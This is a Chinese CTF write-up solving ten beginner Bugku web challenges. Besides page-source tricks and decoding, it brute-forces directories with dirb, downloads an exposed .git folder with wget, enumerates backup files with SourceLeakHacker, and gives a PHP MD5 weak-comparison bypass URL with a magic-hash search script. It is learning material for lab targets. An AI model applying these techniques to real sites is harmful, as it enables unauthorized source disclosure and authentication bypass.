
今天刷了一下 Bugku-CTF-web 的1-10题,比较简单,比较娱乐,基本上看看源代码就可以了,非常适合初学者。能够学习到base64编码,unicode编码,dirb web目录遍历,SourceLeakHacker 备份文件遍历,hackbar插件,wget 操作,git 操作,php 弱类型,md5 绕过等知识点。

ailx10
2001 次咨询
4.9
网络安全优秀回答者
互联网行业 安全攻防员
去知乎ailx10 咨询
1、滑稽
直接F12查看源代码

2、计算器
F12查看源,发现限制了输入长度

尝试修改,发现修改不了值,继续搜寻,发现code.js前端代码中存在flag

3、alert
打开网页就是弹框,F12也看不了


废话不多说,view-source:直接强制查看源代码

最后看到了一行注释
<!-- flag{660161422cfcd39036fbea17a0146f6e} --></script>
直接Unicode解码,拿到flag,也可以Python解码
import htmlencoded_str = "flag{660161422cfcd39036fbea17a0146f6e}"
decoded_str = html.unescape(encoded_str)print(decoded_str)

4、你必须让他停下

F12能看到flag,也是一瞬间就没有了,还是 view-source: 多刷几次,就拿到flag了

5、头等舱

查看源代码:线索应该在请求头里面

结果在响应头中找到了 flag

6、GET

阅读代码,发一个GET请求就能拿到flag

7、POST

阅读代码,使用 Hackbar 提交一个POST请求,即可获得flag

8、source

查看源代码,拿到flag线索
flag{Zmxhz19ub3RfaGvyzSEHIQ==}
使用base64解码,发现不是flag

尝试目录暴力破解
dirb http://114.67.175.224:12221/

可以发现存在 /.git/ 目录

使用wget 递归下载
wget -r http://114.67.175.224:12221/.git

使用 git reflog 查看历史操作记录

使用 git show 40c6d51 查看到 flag

9、矛盾

在 PHP 中,当你使用 == 进行比较时,如果比较的两个值类型不同,PHP 会尝试将它们转换为相同的类型,然后再进行比较

10、备份是个好习惯

没啥线索,根据题目,是有一个备份文件,暴力破解它
python3 SourceLeakHacker.py -u http://114.67.175.224:12717/

查看备份的php代码

<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>
要拿到 flag,需要满足条件 md5($key1) == md5($key2) && $key1 !== $key2。
这意味着 $key1 和 $key2 的 MD5 哈希值必须相同,但 $key1 和 $key2 本身不能相同。[1]
http://114.67.175.224:12717/?kkeyey1=QNKCDZO&kkeyey2=240610708

写个PHP脚本,输出专属ailx10的字符串,哈希结果是以0e开头,后面跟着纯数字
- md5(ailx10597395974) = 0e607193511294857832340276123482
- md5(ailx101258820612) = 0e410179301007418220015365512318
<?php
function findMD5Collision($prefix) {// 循环尝试不同的字符串for ($i = 0; $i < pow(10, 12); $i++) {// 生成一个候选字符串$candidate = $prefix . $i;// 计算 MD5 哈希值$md5 = md5($candidate);// 检查哈希值是否符合要求if (preg_match("/^0e[0-9]{30}$/", $md5)) {echo $candidate;return $candidate; // 返回符合条件的字符串}}return false; // 如果没有找到,则返回 false
}$prefix = "ailx10"; // 我们希望字符串以 "ailx10" 为前缀
$string = findMD5Collision($prefix);
if ($string !== false) {echo "找到的字符串: " . $string . "\n";echo "MD5 哈希值: " . md5($string) . "\n";
} else {echo "未找到符合条件的字符串。\n";
}
?>

参考
- ^md5绕过(Hash缺陷) php 弱类型总结 - Mrsm1th - 博客园
发布于 2024-10-06 07:42・江苏